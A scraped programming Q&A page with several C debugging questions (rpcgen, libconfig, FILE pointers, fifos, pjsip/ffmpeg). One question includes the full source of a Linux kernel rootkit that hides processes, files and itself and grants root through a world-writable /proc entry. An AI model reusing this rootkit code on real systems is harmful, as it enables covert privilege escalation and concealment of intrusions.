I am new in programming with rpcgen. I created a simple rpc program which provides a remote directory listing service in Ubuntu 14.04. It uses rpcgen not only to generate stub routines, but also to generate the XDR routines.
First, the protocol file
const MAXNAMELEM = 255;
typedef string nametype<MAXNAMELEM>; /*a directory entry*/
typedef struct namenode *namelist; /*a link in the listing*/
/*a node in the directory listing*/
struct namenode {
nametype name; /*name of directory entry*/
namelist next; /*next entry*/
};
/*the result of READDIR operation*/
union readdir_res switch (int errornumber) {
case 0:
namelist list; /*no error: return directory listing*/
default:
void; /*error occurred: nothing else to return*/
};
/*the directory program definition*/
program DIRPROG {
version DIRVERS {
readdir_res READDIR(nametype) = 1;
} = 1;
} = 76;
The server:
#include <rpc/rpc.h>
#include <sys/dir.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include "rdir.h"
readdir_res *readdir_1_svc(nametype *dirname, struct svc_req *req)
{
DIR *dirp = NULL;
struct direct *d = NULL;
namelist nl;
namelist *nlp = NULL;
static readdir_res res; /*must be static*/
/*open directory*/
dirp = opendir(*dirname);
if (dirp == NULL)
{
res.errornumber = errno;
return (&res);
}
/*Free previous result*/
xdr_free(xdr_readdir_res, &res);
nlp = &res.readdir_res_u.list;
while (d = readdir(dirp))
{
nl = *nlp = (namenode*)malloc(sizeof(namenode));
nl->name = strdup(d->d_name);
nlp = &nl->next;
}
*nlp = NULL;
res.errornumber = 0;
closedir(dirp);
return (&res);
}
The client:
#include <stdio.h>
#include <rpc/rpc.h>
#include "rdir.h"
int main(int argc, char *argv[])
{
CLIENT *cl;
char *server = NULL;
char *dir = NULL;
readdir_res *result = NULL;
namelist nl;
if (argc != 3)
{
fprintf(stderr, "usage: %s host directory\n", argv[0]);
exit(1);
}
/*remember what our command line arguments refer to*/
server = argv[1];
dir = argv[2];
cl = clnt_create(server, DIRPROG, DIRVERS, "tcp");
if (cl == NULL)
{
clnt_pcreateerror(server);
exit(1);
}
result = readdir_1(&dir, cl);
if (result == NULL)
{
clnt_perror(cl, server);
exit(1);
}
if (result->errornumber != 0)
{
perror(dir);
exit(1);
}
for (nl = result->readdir_res_u.list; nl!=NULL; nl=nl->next)
{
printf("%s\n", nl->name);
}
return 0;
}
Then I compile them:
rpcgen rdir.x
gcc rls.c rdir_clnt.c rdir_xdr.c -o rls
gcc rdir_svc.c dir_proc.c rdir_xdr.c -o dir_svc
When I compile with instruction:
gcc rdir_svc.c dir_proc.c rdir_xdr.c -o dir_svc
I got the following warnings:
esta#esta-U48L:~/Learning/rpcgen/dir_ls$ gcc rdir_svc.c dir_proc.c rdir_xdr.c -o dir_svc
dir_proc.c: In function ‘readdir_1_svc’:
dir_proc.c:27:2: warning: passing argument 1 of ‘xdr_free’ from incompatible pointer type [enabled by default]
xdr_free(xdr_readdir_res, &res);
^
In file included from /usr/include/rpc/rpc.h:42:0,
from dir_proc.c:1:
/usr/include/rpc/xdr.h:373:13: note: expected ‘xdrproc_t’ but argument is of type ‘bool_t (*)(struct XDR *, struct readdir_res *)’
extern void xdr_free (xdrproc_t __proc, char *__objp) __THROW;
^
dir_proc.c:27:2: warning: passing argument 2 of ‘xdr_free’ from incompatible pointer type [enabled by default]
xdr_free(xdr_readdir_res, &res);
^
In file included from /usr/include/rpc/rpc.h:42:0,
from dir_proc.c:1:
/usr/include/rpc/xdr.h:373:13: note: expected ‘char *’ but argument is of type ‘struct readdir_res *’
extern void xdr_free (xdrproc_t __proc, char *__objp) __THROW;
^
Could anybody help me out with the warning?
P.S. The program run just fine even with those warnings.
You can safely cast the arguments you pass to xdr_free:
xdr_free((xdrproc_t)xdr_readdir_res, (char *)&res);
Related
I'm trying to write C code to parse a config file using libconfig
The config file contains a simple element and a group. A group is composed of multiple settings, each has a unique name. ref
Config file :
host_name = "HOST";
device_settings:
{
rcu1:
{
product_id = 0x0001;
vendor_id = 0x0217;
},
rcu2:
{
product_id = 0x0001;
vendor_id = 0x0218;
}
}
I want to parse all RCUs data and store it in a data structre (the storing part is not a problem for now).
So I'm using the simple steps of :
Store the group in a config_setting_t * called section.
get length of section in a varaible called len
Iterrate len time to read RCUs data.
The problem is when i want to read RCU data i get a seg fault.
Code :
#include <libconfig.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
config_t cfg;
config_setting_t *root;
config_setting_t *section;
config_setting_t *elem;
int d, len;
config_init(&cfg);
if (config_read_file(&cfg,"./config.cfg") != CONFIG_TRUE) {
printf("[%s:%d] %s \n", config_error_file(&cfg),
config_error_line(&cfg), config_error_text(&cfg));
config_destroy(&cfg);
return -1;
}
if ((root = config_root_setting(&cfg)) == NULL) {
printf ("[%s:%d] %s \n", config_error_file(&cfg),
config_error_line(&cfg), config_error_text(&cfg));
config_destroy(&cfg);
return -1;
}
/* Device settings */
if ((section = config_setting_get_member(root, "device_settings")) != NULL)
{
len = config_setting_length(section);
printf("len = %d \n",len);
}
int i;
const char* device_id;
config_setting_t *device = NULL;
printf("device_settings %s a group \n",config_setting_is_group(section)?"is":"isn't");
for(i=0;i<len;i++) {
printf("iteration i = %d \n",i);
//device
if(device = config_setting_get_elem(section, i) != NULL) {
/*device id*/
if ((d = config_setting_lookup_string(device, "device_id",&device_id) != CONFIG_FALSE)) /*seg fault here*/
{
// Do stuff
}
}
}
return 0;
}
Something strange I noticed is when I compile the code i get this warning :
parse.c: In function ‘main’: parse.c:46:14: warning: assignment to
‘config_setting_t *’ {aka ‘struct config_setting_t *’} from ‘int’
makes pointer from integer without a cast [-Wint-conversion]
if(device = config_setting_get_elem(section, i) != NULL) {
GDB output :
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7da78a0 in config_setting_get_member () from
/lib/x86_64-linux-gnu/libconfig.so.9
ref to config_setting_get_elem(..)
I can not find what wrong Im doing. Everything looks correct to me.
Can someone see why the seg fault is happening?
if (device = config_setting_get_elem(section, i) != NULL)
needs to be
if ((device = config_setting_get_elem(section, i)) != NULL)
Because != has higher precedence than =.
I've tried to return a FILE pointer from some function to main().
After it, I've tried to do some fprintf on the pointer but it wasn't working.
Here is my code:
My function:
FILE *create_file(void){
FILE *regularTxt = NULL;
regularTxt = fopen("MyLogExamplekkggggggk.txt", "wt");
if (!regularTxt){
printf("error with regtxt");
getchar();
return 1;
}
char first_part_string[] = "kkkkik";
fprintf(regularTxt, "%s\n\n\n%s", "ttttg", "lklf");
return regularTxt;
}
The main function:
int main(void)
{
p_txt = create_file();
fprintf(p_txt, "%s\n\n\n%s", "gggg", "lklf");
return 0;
}
The error:
Error 92 error C4703: potentially uninitialized local pointer variable 'p_txt' used
Without all the code I can't explain the warning, but when you "return 1" from the function in the error case you didn't initialize the pointer correctly.
Change to this:
#include <stdio.h>
#include <stdlib.h>
FILE *create_file()
{
FILE *regularTxt = NULL;
regularTxt = fopen("MyLogExamplekkggggggk.txt", "wt");
if (regularTxt) {
char first_part_string[] = "kkkkik";
fprintf(regularTxt, "%s\n\n\n%s", "ttttg", "lklf");
return regularTxt;
}
return NULL; // error
}
int main(void)
{
FILE* p_txt = create_file();
if (p_txt == NULL)
{
printf("error with file");
getchar();
exit(1); // quit
}
fprintf(p_txt, "%s\n\n\n%s", "gggg", "lklf");
return 0;
}
You seem to be treating warnings as errors here. I think you should first check the returned value for NULL to silence this error:
FILE *p_txt = create_file();
if (! p_txt) {
fprintf(stderr, "[!] Failed to open the file!\n");
return 1;
} else {
fprintf(p_txt, "%s\n\n\n%s", "gggg", "lklf");
}
Also, when you're entering into if (!regularTxt), you're returning one from a function returning a pointer. Better return NULL instead.
The below works, replace 1 with NULL to remove the compiler warning shown below.
#include <stdio.h>
FILE *get(){
FILE *myfile = fopen("fio.txt", "wt");
if(1 == 2){
return 1;// this causes a warning, setting this to NULL removes the warning
}
return myfile;
}
int main(int argc, char **argv){
FILE *fp = get();
fprintf(fp, "hi there C\n");
}
fio.c:6:12: warning: incompatible integer to pointer conversion returning 'int' from a function with result type 'FILE *' (aka 'struct __sFILE *') [-Wint-conversion]
return 1;
^
1 warning generated.
the problem was becase the compailer feared when i didnt initialized the value of the pointer to NULL...thanks guys :)
I had the same problem.
Solved that adding a CAST in the function's call.
I.E.: In this example, replaced this:
p_txt = create_file();
With this:
p_txt = (FILE *) create_file();
Hope It helps!
While compiling a makefile on ubuntu 12.04 LTS (64-bit) encountered with these error:
fifo.c: In function ‘OpenPipe’:
fifo.c:28:3: warning: format ‘%s’ expects argument of type ‘char *’, but argument 3 has type ‘int’ [-Wformat]
fifo.c:31:16: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fifo.c:33:17: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fifo.c:35:13: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fifo.c:43:16: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fifo.c:45:20: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
fifo.c: In function ‘ClosePipe’:
fifo.c:132:11: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
Here is the fifo.c :
#include "fifo.h"
#include "out_pipe.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "stdio.h"
#include <string.h>
#include "typedefs.h"
#include <sys/time.h>
#include <unistd.h>
#include "gps_sc_def.h" /* must be first */
#include "clnt_buf_def.h"
#include "s_filter.h"
//create and open pipe. If pipe exists or can not open, return -1, else 0
extern char PIPE;
extern eve_buf1 evebuf1;
extern eve_buf2 evebuf2;
extern eve_buf3 evebuf3;
short int PIPE_COUNTER=0, PIPE_PRESC_FACTOR=1;
int OpenPipe()
{
char text[64], text1[64];
**28: fprintf(stderr, "Start open Pipe: %s \n",fifo1);**
sprintf(text,"Can't create fifo ");
**31 : strcat(text, (char *)fifo0);**
sprintf(text1,"Can't create fifo ");
**33: strcat(text1, (char *)fifo1);**
**35: if((mknod((char *)fifo1, S_IFIFO | PERMS,0) < 0)&&(errno != EEXIST))**
{
perror(text1);
return -1;
}
sprintf(text1,"Can't open write fifo ");
**43 :strcat(text1,(char *) fifo1);**
**45 :if((Write = open((char *)fifo1, O_WRONLY)) == -1)**
{
perror(text1);
return -1;
}
fprintf(stderr, "Pipe opened\n");
return 0;
}
//write to pipe. if everything is OK return 0, else -1
long write2pipe(void)
{
ssize_t size2wr=0, sizeofeve=sizeof(evebuf1.nev)+sizeof(evebuf1.sec)+
sizeof(evebuf1.nsec)+sizeof(evebuf1.ireg)+sizeof(evebuf1.nsca)+
sizeof(evebuf1.nadc)+sizeof(evebuf1.ntdc)+sizeof(evebuf1.npcs);
short i,j, *p2short;
long buf[512], *p2long;
// if ((PIPE_COUNTER % PIPE_PRESC_FACTOR) != 0) return 0;
memcpy(buf,&evebuf1.nev, sizeofeve);
size2wr += sizeofeve;
/* fprintf(stderr,"sizeofeve %d\n", sizeofeve);
fprintf(stderr,"nsca %d\n", evebuf1.nsca);
fprintf(stderr,"nadc %d\n", evebuf1.nadc);
fprintf(stderr,"ntdc %d\n", evebuf1.ntdc);
fprintf(stderr,"npcs %d\n", evebuf1.npcs);
fprintf(stderr,"n_event %d\n", evebuf2.n_event); */
p2long = buf+sizeofeve/4;
p2short =(short*)(buf)+sizeofeve/2;
if(evebuf1.nsca != 0)
{
for(i=0;i<evebuf1.nsca;i++)
{
p2long[i] = evebuf3.sca[i];
//if(i<3)fprintf(stderr,"sca \t\t %d %x\n", i, evebuf3.sca[i]);
}
size2wr += 4*evebuf1.nsca;
if(write(Write,&buf, size2wr) != size2wr)
perror("wrong size\n");
return 0;
}
else
{
for(i=0;i<evebuf1.nadc;i++)
{
p2short[i] = evebuf3.adc[i];
//fprintf(stderr,"adc \t\t %x\n", evebuf3.adc[i]);
}
size2wr += 2*evebuf1.nadc;
p2short += evebuf1.nadc;
for(i=0;i<evebuf1.ntdc;i++)
{
p2short[i] = evebuf3.tdc[i];
//fprintf(stderr,"tdc \t\t %x\n", evebuf3.tdc[i]);
}
size2wr += 2*evebuf1.ntdc;
p2short += evebuf1.ntdc;
for(i=0;i<evebuf1.npcs;i++)
{
p2short[i] = evebuf3.pcos[i];
//fprintf(stderr,"\t\t %x\n", evebuf3.pcos[i]);
}
size2wr += 2*evebuf1.npcs;
if(size2wr)
if(write(Write,&buf, size2wr) != size2wr)
perror("wrong size\n");
return 0;
}
}
//close and delete pipe. 0 --- OK, -1 crash
int ClosePipe(){
close(Write);
fclose(Read);
if(unlink((char *)fifo1)<0){
perror("Can't unlink fifo");
return -1;
}
return 0;
}
By the way, I added following lines to the .profile:
export fifo0=/home/bayat/fifo0
export fifo1=/home/bayat/fifo1
please help me to solve them.
Thanks in advance.
I expect if you look (probably in fifo.h) you will find that fifo0 and fifo1 are defined as int when your program clearly expects them to be a char * or char[]. Probably what you need is something like this instead:
char fifo0[] = "/home/bayat/fifo0";
char fifo1[] = "/home/bayat/fifo1";
I do not think your .profile file has any effect whatsoever here.
I am trying to follow an example rootkit given here https://github.com/ivyl/rootkit
I modified this example so that I can compile it on linux version 3.11.
I found that latest linux versions stopped supporting few API's such as create_proc_entry, readdir has been replaced by iterate etc.
On linux version is 3.11.0-23 I also observed that my include directories does not contain internal.h so as to have complete definition of proc_dir_entry. On lower versions on linux ( < 3.10 ) we are having definition for proc_dir_entry in proc_fs.h file.
The modified rootkit file looks like this:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
//#include "fs/proc/internal.h"
#define MIN(a,b) \
({ typeof (a) _a = (a); \
typeof (b) _b = (b); \
_a < _b ? _a : _b; })
#define MAX_PIDS 50
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("Arkadiusz Hiler<ivyl#sigillum.cc>");
MODULE_AUTHOR("Michal Winiarski<t3hkn0r#gmail.com>");
//STATIC VARIABLES SECTION
//we don't want to have it visible in kallsyms and have access to it all the time
static struct proc_dir_entry *proc_root;
static struct proc_dir_entry *proc_rtkit;
static int (*proc_iterate_orig)(struct file *, struct dir_context *);
static int (*fs_iterate_orig)(struct file *, struct dir_context *);
static filldir_t proc_filldir_orig;
static filldir_t fs_filldir_orig;
static struct file_operations *proc_fops;
static struct file_operations *fs_fops;
static struct list_head *module_previous;
static struct list_head *module_kobj_previous;
static char pids_to_hide[MAX_PIDS][8];
static int current_pid = 0;
static char hide_files = 1;
static char module_hidden = 0;
static char module_status[1024];
//MODULE HELPERS
void module_hide(void)
{
if (module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
}
void module_show(void)
{
int result;
if (!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
result = kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, "rt");
module_hidden = !module_hidden;
}
//PAGE RW HELPERS
static void set_addr_rw(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
}
static void set_addr_ro(void *addr)
{
unsigned int level;
pte_t *pte = lookup_address((unsigned long) addr, &level);
pte->pte = pte->pte &~_PAGE_RW;
}
//CALLBACK SECTION
static int proc_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
int i;
for (i=0; i < current_pid; i++) {
if (!strcmp(name, pids_to_hide[i])) return 0;
}
if (!strcmp(name, "rtkit")) return 0;
return proc_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int proc_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
proc_filldir_orig = dir_ctx->actor;
return proc_iterate_orig(filp, dir_ctx);
}
static int fs_filldir_new(void *buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
if (hide_files && (!strncmp(name, "__rt", 4) || !strncmp(name, "10-__rt", 7))) return 0;
return fs_filldir_orig(buf, name, namelen, offset, ino, d_type);
}
static int fs_iterate_new(struct file *filp, struct dir_context *dir_ctx)
{
fs_filldir_orig = dir_ctx->actor;
return fs_iterate_orig(filp, dir_ctx);
}
static int rtkit_read(char *buffer, char **buffer_location, off_t off, int count, int *eof, void *data)
{
int size;
sprintf(module_status,
"RTKIT\n\
DESC:\n\
hides files prefixed with __rt or 10-__rt and gives root\n\
CMNDS:\n\
godisgreat - uid and gid 0 for writing process\n\
hpXXXX - hides proc with id XXXX\n\
up - unhides last process\n\
thf - toogles file hiding\n\
mh - module hide\n\
ms - module show\n\
STATUS\n\
fshide: %d\n\
pids_hidden: %d\n\
module_hidden: %d\n", hide_files, current_pid, module_hidden);
size = strlen(module_status);
if (off >= size) return 0;
if (count >= size-off) {
memcpy(buffer, module_status+off, size-off);
} else {
memcpy(buffer, module_status+off, count);
}
return size-off;
}
static int rtkit_write(struct file *file, const char __user *buff, unsigned long count, void *data)
{
if (!strncmp(buff, "godisgreat", MIN(11, count))) { //changes to root
struct cred *credentials = prepare_creds();
credentials->uid = credentials->euid = 0;
credentials->gid = credentials->egid = 0;
commit_creds(credentials);
} else if (!strncmp(buff, "hp", MIN(2, count))) {//upXXXXXX hides process with given id
if (current_pid < MAX_PIDS) strncpy(pids_to_hide[current_pid++], buff+2, MIN(7, count-2));
} else if (!strncmp(buff, "up", MIN(2, count))) {//unhides last hidden process
if (current_pid > 0) current_pid--;
} else if (!strncmp(buff, "thf", MIN(3, count))) {//toggles hide files in fs
hide_files = !hide_files;
} else if (!strncmp(buff, "mh", MIN(2, count))) {//module hide
module_hide();
} else if (!strncmp(buff, "ms", MIN(2, count))) {//module hide
module_show();
}
return count;
}
//INITIALIZING/CLEANING HELPER METHODS SECTION
static void procfs_clean(void)
{
if (proc_rtkit != NULL) {
remove_proc_entry("rtkit", NULL);
proc_rtkit = NULL;
}
if (proc_fops != NULL && proc_iterate_orig != NULL) {
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_orig;
set_addr_ro(proc_fops);
}
}
static void fs_clean(void)
{
if (fs_fops != NULL && fs_iterate_orig != NULL) {
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_orig;
set_addr_ro(fs_fops);
}
}
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = proc_create("rtkit", 0666, 0, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc iterate to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_iterate_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_iterate_new;
set_addr_ro(proc_fops);
return 1;
}
static int __init fs_init(void)
{
struct file *etc_filp;
//get file_operations of /etc
etc_filp = filp_open("/etc", O_RDONLY, 0);
if (etc_filp == NULL) return 0;
fs_fops = (struct file_operations *) etc_filp->f_op;
filp_close(etc_filp, NULL);
//substitute iterate of fs on which /etc is
fs_iterate_orig = fs_fops->iterate;
set_addr_rw(fs_fops);
fs_fops->iterate = fs_iterate_new;
set_addr_ro(fs_fops);
return 1;
}
//MODULE INIT/EXIT
static int __init rootkit_init(void)
{
if (!procfs_init() || !fs_init()) {
procfs_clean();
fs_clean();
return 1;
}
module_hide();
return 0;
}
static void __exit rootkit_exit(void)
{
procfs_clean();
fs_clean();
}
module_init(rootkit_init);
module_exit(rootkit_exit);
While trying to build the code I am getting error "dereferencing pointer to incomplete type" because compiler is unaware about the complete definition for proc_dif_entry.
/prj/Rootkit/example3# make
make -C /lib/modules/3.11.0-23-generic/build M=/prj/Rootkit/example3 modules
make[1]: Entering directory `/usr/src/linux-headers-3.11.0-23-generic'
CC [M] /prj/Rootkit/example3/rt.o
/prj/Rootkit/example3/rt.c: In function ‘procfs_init’:
/prj/Rootkit/example3/rt.c:195:24: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:196:43: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:199:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:200:12: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c:203:51: error: dereferencing pointer to incomplete type
/prj/Rootkit/example3/rt.c: At top level:
/prj/Rootkit/example3/rt.c:84:12: warning: ‘proc_filldir_new’ defined but not used [-Wunused-function]
/prj/Rootkit/example3/rt.c:100:12: warning: ‘fs_filldir_new’ defined but not used [-Wunused-function]
make[2]: *** [/prj/Rootkit/example3/rt.o] Error 1
make[1]: *** [_module_/prj/Rootkit/example3] Error 2
make[1]: Leaving directory `/usr/src/linux-headers-3.11.0-23-generic'
make: *** [default] Error 2
root#HP:/prj/Rootkit/example3# ^C
I am not sure how to proceed to resolve these errors.
Any Help !
Thanks,
-Hitesh.
I'm trying build pjsip from source with video support by gcc on ubuntu. After i success full run ./configure and make dep, i run make and i have error below:
../src/pjmedia/ffmpeg_util.c:46:18: error: field ‘codec_id’ has incomplete type
../src/pjmedia/ffmpeg_util.c:148:13: error: conflicting types for ‘pjmedia_format_id_to_CodecID’
../src/pjmedia/ffmpeg_util.h:23:13: note: previous declaration of ‘pjmedia_format_id_to_CodecID’ was here
../src/pjmedia/ffmpeg_util.c: In function ‘pjmedia_format_id_to_CodecID’:
../src/pjmedia/ffmpeg_util.c:154:35: warning: comparison between pointer and integer [enabled by default]
../src/pjmedia/ffmpeg_util.c:155:6: error: dereferencing pointer to incomplete type
../src/pjmedia/ffmpeg_util.c:155:6: warning: statement with no effect [-Wunused-value]
../src/pjmedia/ffmpeg_util.c:160:5: error: dereferencing pointer to incomplete type
../src/pjmedia/ffmpeg_util.c:160:5: warning: statement with no effect [-Wunused-value]
../src/pjmedia/ffmpeg_util.c: At top level:
../src/pjmedia/ffmpeg_util.c:164:55: error: parameter 1 (‘codec_id’) has incomplete type
Here is the code in ffmpeg_util.h and ffmpeg_util.c
ffmpeg_util.h
#ifndef __PJMEDIA_FFMPEG_UTIL_H__
#define __PJMEDIA_FFMPEG_UTIL_H__
#include <pjmedia/format.h>
#ifdef _MSC_VER
# ifndef __cplusplus
# define inline _inline
# endif
# pragma warning(disable:4244) /* possible loss of data */
#endif
#include <libavutil/avutil.h>
#include <libavcodec/avcodec.h>
void pjmedia_ffmpeg_add_ref();
void pjmedia_ffmpeg_dec_ref();
pj_status_t pjmedia_format_id_to_PixelFormat(pjmedia_format_id fmt_id,
enum PixelFormat *pixel_format);
pj_status_t PixelFormat_to_pjmedia_format_id(enum PixelFormat pf,
pjmedia_format_id *fmt_id);
pj_status_t pjmedia_format_id_to_CodecID(pjmedia_format_id fmt_id,
enum CodecID *codec_id);
pj_status_t CodecID_to_pjmedia_format_id(enum CodecID codec_id,
pjmedia_format_id *fmt_id);
#endif /* __PJMEDIA_FFMPEG_UTIL_H__ */
ffmpeg_util.c
#include <pjmedia/types.h>
#include <pj/errno.h>
#include <pj/log.h>
#include <pj/string.h>
#if PJMEDIA_HAS_LIBAVFORMAT && PJMEDIA_HAS_LIBAVUTIL
#include "ffmpeg_util.h"
#include <libavformat/avformat.h>
#define MAKE_VER(mj,mn,mi) ((mj << 16) | (mn << 8) | (mi << 0))
#define VER_AT_LEAST(mj,mn,mi) (MAKE_VER(LIBAVUTIL_VERSION_MAJOR, \
LIBAVUTIL_VERSION_MINOR, \
LIBAVUTIL_VERSION_MICRO) >= \
MAKE_VER(mj,mn,mi))
/* Conversion table between pjmedia_format_id and PixelFormat */
static const struct ffmpeg_fmt_table_t
{
pjmedia_format_id id;
enum PixelFormat pf;
} ffmpeg_fmt_table[] =
{
{ PJMEDIA_FORMAT_RGBA, PIX_FMT_RGBA},
{ PJMEDIA_FORMAT_RGB24,PIX_FMT_BGR24},
{ PJMEDIA_FORMAT_BGRA, PIX_FMT_BGRA},
#if VER_AT_LEAST(51,20,1)
{ PJMEDIA_FORMAT_GBRP, PIX_FMT_GBR24P},
#endif
{ PJMEDIA_FORMAT_AYUV, PIX_FMT_NONE},
{ PJMEDIA_FORMAT_YUY2, PIX_FMT_YUYV422},
{ PJMEDIA_FORMAT_UYVY, PIX_FMT_UYVY422},
{ PJMEDIA_FORMAT_I420, PIX_FMT_YUV420P},
//{ PJMEDIA_FORMAT_YV12, PIX_FMT_YUV420P},
{ PJMEDIA_FORMAT_I422, PIX_FMT_YUV422P},
{ PJMEDIA_FORMAT_I420JPEG, PIX_FMT_YUVJ420P},
{ PJMEDIA_FORMAT_I422JPEG, PIX_FMT_YUVJ422P},
};
/* Conversion table between pjmedia_format_id and CodecID */
static const struct ffmpeg_codec_table_t
{
pjmedia_format_id id;
enum CodecID codec_id;
} ffmpeg_codec_table[] =
{
{PJMEDIA_FORMAT_H261, CODEC_ID_H261},
{PJMEDIA_FORMAT_H263, CODEC_ID_H263},
{PJMEDIA_FORMAT_H263P, CODEC_ID_H263P},
{PJMEDIA_FORMAT_H264, CODEC_ID_H264},
{PJMEDIA_FORMAT_MPEG1VIDEO, CODEC_ID_MPEG1VIDEO},
{PJMEDIA_FORMAT_MPEG2VIDEO, CODEC_ID_MPEG2VIDEO},
{PJMEDIA_FORMAT_MPEG4, CODEC_ID_MPEG4},
{PJMEDIA_FORMAT_MJPEG, CODEC_ID_MJPEG}
};
static int pjmedia_ffmpeg_ref_cnt;
static void ffmpeg_log_cb(void* ptr, int level, const char* fmt, va_list vl);
void pjmedia_ffmpeg_add_ref()
{
if (pjmedia_ffmpeg_ref_cnt++ == 0) {
av_log_set_level(AV_LOG_ERROR);
av_log_set_callback(&ffmpeg_log_cb);
av_register_all();
}
}
void pjmedia_ffmpeg_dec_ref()
{
if (pjmedia_ffmpeg_ref_cnt-- == 1) {
/* How to shutdown ffmpeg? */
}
if (pjmedia_ffmpeg_ref_cnt < 0) pjmedia_ffmpeg_ref_cnt = 0;
}
static void ffmpeg_log_cb(void* ptr, int level, const char* fmt, va_list vl)
{
const char *LOG_SENDER = "ffmpeg";
enum { LOG_LEVEL = 5 };
char buf[100];
int bufsize = sizeof(buf), len;
pj_str_t fmt_st;
/* Custom callback needs to filter log level by itself */
if (level > av_log_get_level())
return;
/* Add original ffmpeg sender to log format */
if (ptr) {
AVClass* avc = *(AVClass**)ptr;
len = pj_ansi_snprintf(buf, bufsize, "%s: ", avc->item_name(ptr));
bufsize -= len;
}
/* Copy original log format */
len = pj_ansi_strlen(fmt);
if (len > bufsize-1)
len = bufsize-1;
pj_memcpy(buf+sizeof(buf)-bufsize, fmt, len);
bufsize -= len;
/* Trim log format */
pj_strset(&fmt_st, buf, sizeof(buf)-bufsize);
pj_strrtrim(&fmt_st);
buf[fmt_st.slen] = '\0';
pj_log(LOG_SENDER, LOG_LEVEL, buf, vl);
}
pj_status_t pjmedia_format_id_to_PixelFormat(pjmedia_format_id fmt_id,
enum PixelFormat *pixel_format)
{
unsigned i;
for (i=0; i<PJ_ARRAY_SIZE(ffmpeg_fmt_table); ++i) {
const struct ffmpeg_fmt_table_t *t = &ffmpeg_fmt_table[i];
if (t->id==fmt_id && t->pf != PIX_FMT_NONE) {
*pixel_format = t->pf;
return PJ_SUCCESS;
}
}
*pixel_format = PIX_FMT_NONE;
return PJ_ENOTFOUND;
}
pj_status_t PixelFormat_to_pjmedia_format_id(enum PixelFormat pf,
pjmedia_format_id *fmt_id)
{
unsigned i;
for (i=0; i<PJ_ARRAY_SIZE(ffmpeg_fmt_table); ++i) {
const struct ffmpeg_fmt_table_t *t = &ffmpeg_fmt_table[i];
if (t->pf == pf) {
if (fmt_id) *fmt_id = t->id;
return PJ_SUCCESS;
}
}
return PJ_ENOTFOUND;
}
pj_status_t pjmedia_format_id_to_CodecID(pjmedia_format_id fmt_id,
enum CodecID *codec_id)
{
unsigned i;
for (i=0; i<PJ_ARRAY_SIZE(ffmpeg_codec_table); ++i) {
const struct ffmpeg_codec_table_t *t = &ffmpeg_codec_table[i];
if (t->id==fmt_id && t->codec_id != PIX_FMT_NONE) {
*codec_id = t->codec_id;
return PJ_SUCCESS;
}
}
*codec_id = PIX_FMT_NONE;
return PJ_ENOTFOUND;
}
pj_status_t CodecID_to_pjmedia_format_id(enum CodecID codec_id,
pjmedia_format_id *fmt_id)
{
unsigned i;
for (i=0; i<PJ_ARRAY_SIZE(ffmpeg_codec_table); ++i) {
const struct ffmpeg_codec_table_t *t = &ffmpeg_codec_table[i];
if (t->codec_id == codec_id) {
if (fmt_id) *fmt_id = t->id;
return PJ_SUCCESS;
}
}
return PJ_ENOTFOUND;
}
#ifdef _MSC_VER
# pragma comment( lib, "avformat.lib")
# pragma comment( lib, "avutil.lib")
#endif
#endif /* #if PJMEDIA_HAS_LIBAVFORMAT && PJMEDIA_HAS_LIBAVUTIL */
Help me fix this error!
Looks like most of errors you are seeing are rooted in the fact enum CodecID is not found. Not sure where it might be in your source, but this commit discusses renaming it to AVCodecID. Are you sure you have an up-to-date source?